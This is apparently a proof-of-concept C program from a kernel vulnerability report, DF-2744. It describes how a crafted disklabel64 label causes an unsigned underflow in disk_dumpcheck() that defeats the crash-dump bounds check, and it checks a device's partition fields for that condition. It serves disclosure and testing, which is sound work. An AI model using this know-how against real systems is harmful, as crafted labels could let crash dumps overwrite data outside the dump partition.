DF-2744 / poc2744.c
/* * DF-2744 PoC -- disk_dumpcheck() unsigned underflow precondition. * * sys/kern/subr_disk.c:909 computes * *size = pinfo.media_blocks - pinfo.reserved_blocks; * (u64 - u64). reserved_blocks comes from sp->ds_reserved, which for a * disklabel64 slice is d_bbase/secsize (subr_disklabel64.c:526) with d_bbase * taken unvalidated from the on-disk label (l64_readdisklabel checks only * magic/np/CRC, subr_disklabel64.c:183-190). A crafted label therefore * makes reserved_blocks > media_blocks; the subtraction wraps to ~2^64, * defeating diskdump()'s bounds check (subr_disk.c:1291-1292) so a crash * dump can be written outside the dump partition. * * This PoC attaches such an image and shows, via DIOCGPART, the exact * field values the underflowed arithmetic consumes. */ #include <sys/types.h> #include <sys/ioctl.h> #include <sys/diskslice.h> #include <stdio.h> #include <inttypes.h> #include <fcntl.h> #include <unistd.h> int main(int argc, char **argv) { struct partinfo pi; int fd; if (argc < 2) { fprintf(stderr, "usage: %s <slicedevice>\n", argv[0]); return 2; } fd = open(argv[1], O_RDONLY); if (fd < 0) { perror("open"); return 1; } if (ioctl(fd, DIOCGPART, &pi) < 0) { perror("DIOCGPART"); return 1; } printf("media_blocks = %" PRIu64 "\n", pi.media_blocks); printf("reserved_blocks= %" PRIu64 "\n", pi.reserved_blocks); if (pi.reserved_blocks > pi.media_blocks) { printf("UNDERFLOW TRIGGER: disk_dumpcheck() *size = %" PRIu64 " - %" PRIu64 " = %" PRIu64 " (dump bounds check defeated)\n", pi.media_blocks, pi.reserved_blocks, pi.media_blocks - pi.reserved_blocks); return 0; } printf("reserved <= blocks on this device; not triggered\n"); return 1; } |